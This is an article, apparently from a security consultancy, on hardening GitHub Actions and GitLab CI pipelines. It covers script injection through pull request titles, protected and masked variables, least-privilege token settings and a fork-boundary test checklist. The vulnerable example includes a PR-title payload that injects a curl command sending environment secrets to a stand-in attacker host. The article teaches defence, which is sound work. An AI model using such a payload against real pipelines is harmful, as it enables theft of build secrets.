GitHub Actions and GitLab CI security: Hardening build pipelines

Akande Simpa Lead Security Engineer & Cofounder, Simpa Labs Comprehensive Security Partner (CSP)

Command Injection in GitHub Actions workflow steps

GitHub Actions workflows use context variables (like github.event.pull_request.title) to dynamically retrieve repository events. If these variables are printed inside a run shell step without sanitization, they are vulnerable to command injection:

# VULNERABLE GitHub Actions step: inline script injection
- name: Print Pull Request Title
  run: |
    echo "PR Title: ${{ github.event.pull_request.title }}" # Injection!
    # Bypassed by submitting PR named: "; curl attacker-site.com/leak?key=$(env) #

The Fix: Never use inline interpolation for untrusted inputs inside shell scripts. Pass context values as environment variables, which the operating system treats strictly as data strings:

# SECURE step pattern using environment variables
- name: Print Pull Request Title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR Title: $PR_TITLE" # Safe: evaluated as variable string

GitLab CI: Permissive branch variables and unprotected runners

GitLab CI stores deployment keys in environment variables. If these variables are not configured as Protected, developers on non-protected branches can run custom merge requests to print the environment secrets to build console logs. We audit your project variables to verify that all deployment credentials are set as Protected and Masked.

Least-privilege GITHUB_TOKEN permissions

GitHub Actions automatically generates a temporary token (GITHUB_TOKEN) for each job. In older repositories, this token has write access to the repository by default. If a dependency is compromised or an injection occurs, the attacker can push code directly to main. We audit workflows to verify that the token's permissions are explicitly declared as read-only:

# SECURE top-level permissions restriction in YAML
permissions:
  contents: read
  issues: none
  pull-requests: none

Run the workflow test without exposing secrets

1. Build a trigger map. Record each workflow trigger, runner type, token permissions, environment, required reviewer, and secret source.
2. Trace untrusted values. Follow issue titles, branch names, commit text, file paths, matrix values, and pull request code into shell, PowerShell, templates, and third-party actions.
3. Test fork boundaries. Open a test pull request from a fork. Confirm it cannot reach secrets, write to the repository, use a protected environment, or run on a trusted self-hosted runner.
4. Pin dependencies. Pin third-party actions and reusable workflows to a reviewed commit. Record the commit and owner.
5. Test artifact trust. Upload an artifact with the same name from an untrusted job. A privileged deployment must select artifacts by verified workflow, commit, and run identity.

Keep the trigger map, effective token permissions, runner labels, sanitized logs, environment rules, and the test pull request. Redact secret values. The evidence needs to show which job received each permission.

Related reading

Blog: Securing CI/CD pipelines · Fintech AWS cloud security · Secrets management

Services: Secure architecture review · Penetration testing